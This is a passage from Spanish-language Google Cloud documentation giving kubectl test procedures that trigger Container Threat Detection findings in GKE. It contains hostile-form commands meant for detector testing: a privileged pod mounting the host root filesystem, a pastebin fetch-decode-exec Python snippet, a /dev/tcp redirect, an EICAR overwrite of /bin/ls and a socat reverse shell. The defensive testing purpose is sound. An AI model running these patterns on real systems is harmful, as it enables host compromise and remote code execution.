   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Este procedimiento de prueba crea un resultado Defense Evasion: Launch Code Compiler Tool In Container que puedes ver en Security Command Center y en Cloud Logging si has configurado el registro para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Evasión de defensas: certificado raíz instalado (vista previa)

Para activar la detección de un certificado raíz instalado, crea un archivo de certificado raíz en el host desde un contenedor. En este ejemplo se implementa la imagen más reciente de Ubuntu 24.04 y se monta el sistema de archivos raíz del host en el contenedor. A continuación, crea un archivo de certificado vacío en el directorio correspondiente.

Se trata de un detector de monitorización de archivos y tiene requisitos específicos de la versión de GKE.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Instala un archivo de certificado en el host desde un contenedor.

Nodo x86:

tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nodo ARM:

tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Este procedimiento de prueba activa un resultado de Root Certificate Installed que puedes ver en Security Command Center y, si has configurado el registro de Container Threat Detection, en Cloud Logging. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center a nivel de organización.

Ejecución: Added Malicious Binary Executed

Para activar una ejecución: se ha añadido el hallazgo de ejecución de binario malicioso, deja un binario malicioso en tu contenedor y ejecútalo. En este ejemplo se implementa la imagen más reciente de Ubuntu 24.04, se crea un archivo malicioso simulado y, a continuación, se ejecuta. La ejecución del archivo binario es inesperada porque el archivo binario malicioso simulado no formaba parte de la imagen de contenedor original y el archivo binario es un archivo de prueba EICAR, un archivo clasificado como malicioso por la inteligencia de amenazas.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Suelta el archivo binario EICAR y ejecútalo:

Nodo x86:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Nodo ARM:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Este procedimiento de prueba debería crear un resultado de Execution: Added Malicious Binary Executed (Ejecución: se ha añadido un archivo binario malicioso) que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, Detección de amenazas de contenedores filtra temporalmente las detecciones de Execution: Added Malicious Binary Executed. Para ver todos los resultados de Execution: Added Malicious Binary Executed mientras se configura un contenedor, añade el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Ejecución: escape de contenedores

Para activar una detección de escape de contenedor, coloca un archivo binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la imagen más reciente de Ubuntu 24.04, se copia /bin/ls a otra ubicación, se le cambia el nombre a una herramienta sospechosa (botb-linux-amd64) y se ejecuta con argumentos adicionales. Esta acción se considera sospechosa porque esta ejecución simula un comportamiento coherente con un intento de escape de contenedor.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Suelta un archivo binario de una herramienta de explotación de contenedores, como botb-linux-amd64, y ejecútalo:

Nodo x86:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

Nodo ARM:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

Este procedimiento de prueba debería crear un resultado de tipo "Ejecución: escape de contenedor" que puedes ver en Security Command Center y en Cloud Logging si has configurado el registro para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: ejecución sin archivos en `/memfd:`

Para activar una detección de Execution: Fileless Execution in /memfd:, se debe ejecutar un proceso desde el sistema de archivos en memoria /memfd:. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. La utilidad /bin/ls se copia en un archivo anónimo en /memfd:. A continuación, se ejecuta este binario copiado. La ejecución de un archivo binario en /memfd: se marca como sospechosa porque imita el comportamiento de un objeto que intenta ejecutarse en la memoria para evitar las detecciones basadas en archivos.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Crea un contenedor con privilegios y abre bash para ejecutar comandos:

Nodo x86:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:latest \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)"

Nodo ARM:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)"

Este procedimiento de prueba debería crear un Execution: Fileless Execution in /memfd:resultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: ejecución de vulnerabilidad de Ingress Nightmare

Para activar una ejecución: en el resultado de la ejecución de vulnerabilidad de Ingress Nightmare (Vista previa), ejecuta el archivo binario de nginx en tu contenedor. En este ejemplo, se implementa la imagen más reciente de Ubuntu 24.04, se copia /bin/ls a otra ubicación, se cambia el nombre a un archivo binario de Nginx (nginx) y se ejecuta con argumentos adicionales que hacen referencia al sistema de archivos /proc. Esta acción se considera sospechosa porque simula un comportamiento coherente con la vulnerabilidad Ingress Nightmare (CVE-2025-1974), lo que indica una posible ejecución remota de código.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Crea un archivo binario de Nginx como nginx y ejecútalo mientras accedes al sistema de archivos /proc:

Nodo x86:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Nodo ARM:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Este procedimiento de prueba crea un resultado de Execution: Ingress Nightmare Vulnerability Execution que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: ejecución de herramientas de ataque de Kubernetes

Para activar una alerta de ejecución de la herramienta de ataque de Kubernetes, coloca un archivo binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la imagen más reciente de Ubuntu 24.04, se copia /bin/ls en otra ubicación, se cambia el nombre a una herramienta sospechosa (amicontained) y se ejecuta. Esta acción se considera sospechosa porque simula un comportamiento coherente con un posible intento de ejecución de una herramienta de ataque de Kubernetes.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Suelta un archivo binario de la herramienta de ataque de Kubernetes, como amicontained, y ejecútalo:

Nodo x86:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Nodo ARM:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Este procedimiento de prueba debería crear un resultado de Execution: Kubernetes Attack Tool Execution que puedes ver en Security Command Center y en Cloud Logging si has configurado el registro de Container Threat Detection. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center.

Ejecución: ejecución de herramienta de reconocimiento local

Para activar una búsqueda de Execution: Local Reconnaissance Tool Execution, coloca un binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la imagen más reciente de Ubuntu 24.04, se copia /bin/ls en otra ubicación, se cambia el nombre a una herramienta sospechosa (linenum.sh) y se ejecuta. Esta acción se considera sospechosa porque la ejecución del archivo binario renombrado simula un comportamiento coherente con un intento de reconocimiento local.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduce un binario de herramienta de reconocimiento local, como linenum.sh, y ejecútalo:

Nodo x86:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Nodo ARM:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Este procedimiento de prueba debería crear un resultado de Execution: Local Reconnaissance Tool Execution que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Detección de amenazas en contenedores. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: se ha ejecutado un archivo Python malicioso

Para activar la detección de ejecución de Python malicioso, puedes ejecutar Python en el siguiente procedimiento de tu contenedor.

El procedimiento implementa la imagen de Python más reciente, copia el código de Python que parece malicioso y, a continuación, lo ejecuta. Para activar una detección, el código de Python debe parecer malicioso al detector.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta la siguiente secuencia de comandos en un contenedor nuevo.

Este código Python procede de un honeypot. Sin embargo, se ha modificado para que no ejecute el archivo binario malicioso. Ejecutar la secuencia de comandos no provocará actividad maliciosa en tu contenedor. El archivo binario de la URL de referencia no existe y, al intentar acceder a la URL, se produce un error 404. Este es el comportamiento esperado. La intento de descargar, decodificar y ejecutar un archivo binario mediante una secuencia de comandos insertada es lo que activa la detección.

Nodo x86:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Nodo ARM:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Este procedimiento de prueba crea un resultado de Execution: Malicious Python Executed que puedes ver en Security Command Center y en Cloud Logging si has configurado el registro de Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: se ha ejecutado un binario malicioso modificado

Para activar la detección de Ejecución: se ha ejecutado un binario malicioso modificado, modifica un binario malicioso en tu contenedor y ejecútalo. En este ejemplo se implementa la imagen más reciente de Ubuntu 24.04, se modifica /bin/ls a un archivo malicioso de prueba EICAR y, a continuación, se ejecuta. La ejecución del archivo binario es inesperada porque el /bin/ls creado se modifica durante el tiempo de ejecución del contenedor como un archivo binario malicioso de prueba EICAR, y el archivo binario EICAR es un archivo malicioso conocido según la información sobre amenazas.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Suelta el archivo binario EICAR y ejecútalo:

Nodo x86:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Nodo ARM:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Este procedimiento de prueba debería crear un resultado de tipo "Ejecución: se ha ejecutado un archivo binario malicioso modificado" que puedes ver en Security Command Center y en Cloud Logging si has configurado el registro para Detección de amenazas en contenedores. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando crea un contenedor por primera vez, Container Threat Detection filtra temporalmente las detecciones de Ejecución: se ha ejecutado un archivo binario malicioso modificado. Para ver todos los resultados de Execution: Modified Malicious Binary Executed mientras se configura un contenedor, añade el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Ejecución: ejecución remota de código de Netcat en un contenedor

Para activar un evento Execution: Netcat Remote Code Execution In Container, debe haber y ejecutarse en el contenedor un archivo binario capaz de comunicarse a través de la red (como netcat o una copia renombrada de otra utilidad). En este ejemplo se despliega la imagen más reciente de Ubuntu 24.04 como base. Copia el /bin/ls binario y cambia el nombre de esa copia a netcat (una utilidad de red). A continuación, se ejecuta este archivo binario con argumentos adecuados para la interacción de red. Esta actividad se ha marcado como sospechosa porque imita el comportamiento que se observa a menudo durante los intentos de ejecución de código remoto en entornos contenerizados.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduce un archivo binario de herramienta de comunicación de red, como netcat, y ejecútalo con los argumentos adecuados:

Nodo x86:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Nodo ARM:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Este procedimiento de prueba debería crear un resultado de Execution: Netcat Remote Code Execution In Container que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: posible ejecución de comandos arbitrarios a través de CUPS (CVE-2024-47177)

Para activar un Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177) resultado, debe ejecutarse un proceso de shell por parte del foomatic-rip. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/bash en /tmp/foomatic-rip. Este archivo binario renombrado y copiado se ejecuta como un script de shell para crear un comando de shell secundario. Este comportamiento se marca como sospechoso porque puede indicar un intento de ejecutar cargas de trabajo arbitrarias en sistemas vulnerados.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta el comando con los argumentos adecuados:

Nodo x86:

tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu1804:latest \
   "$tag" -- bash -c \
   'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'

Nodo ARM:

tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'

Este procedimiento de prueba crea un Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177)resultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Detección de amenazas en contenedores. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center.

Ejecución: se ha detectado una posible ejecución de comandos remota

Para activar un resultado de Execution: Possible Remote Command Execution Detected (Vista previa), se debe observar la ejecución de un comando o un archivo binario que se asocie habitualmente con la ejecución de comandos remotos en un contenedor. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a touch (u otra herramienta como find). A continuación, se ejecuta el archivo binario con el nombre cambiado con argumentos adecuados para la ejecución de comandos remotos. Este comportamiento se marca como sospechoso porque puede indicar un intento de establecer un acceso remoto no autorizado al contenedor o desde él.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario como touch con los argumentos adecuados:

Nodo x86:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

Nodo ARM:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

Este procedimiento de prueba crea un Execution: Possible Remote Command Execution Detected que puedes ver en Security Command Center y en Cloud Logging si has configurado el registro para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: programa ejecutado con un proxy HTTP no permitido

Para activar una detección de Execution: Program Run with Disallowed HTTP Proxy Env, ejecuta un programa en un contenedor y asigna un valor no permitido a una variable de entorno de proxy HTTP. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. La utilidad /bin/ls se copia y se le cambia el nombre a /tmp/curl. Este archivo binario renombrado se ejecuta con un valor no permitido definido para una variable de entorno de proxy HTTP (por ejemplo, HTTP_PROXY o http_proxy). La combinación de la ejecución del programa y la presencia de un entorno de proxy HTTP no permitido se marca como sospechosa, ya que sugiere un intento de comunicarse a través de un proxy no autorizado.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario con funciones de red, como curl, y ejecútalo con una variable de entorno de proxy HTTP no permitida:

Nodo x86:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Nodo ARM:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Este procedimiento de prueba debería crear un resultado Execution: Program Run with Disallowed HTTP Proxy Env que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: se ha detectado un shell inverso de Socat

Para activar una búsqueda de Execution: Socat Reverse Shell Detected, la utilidad socat debe establecer una conexión de shell inverso de proceso. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. La utilidad socat se instala, se crea un receptor tcp local y, a continuación, la utilidad socat se vincula a él. La shell inversa creada por socat se marca como sospechosa porque permite que un atacante ejecute cargas de trabajo arbitrarias en el sistema.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Crea un contenedor y abre bash para ejecutar comandos:

Nodo x86:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash

Nodo ARM:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash

Instalar la utilidad socat
```
  apt update && apt install socat -y
```

Crear un receptor con socat

  (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &)

Espera un momento a que se establezca el receptor. Tarda algo menos de 10 segundos.

Enlaza con el socket Unix para establecer una conexión de shell inversa.

  socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Puede que devuelva un error, pero no pasa nada siempre que establezca una conexión brevemente antes.

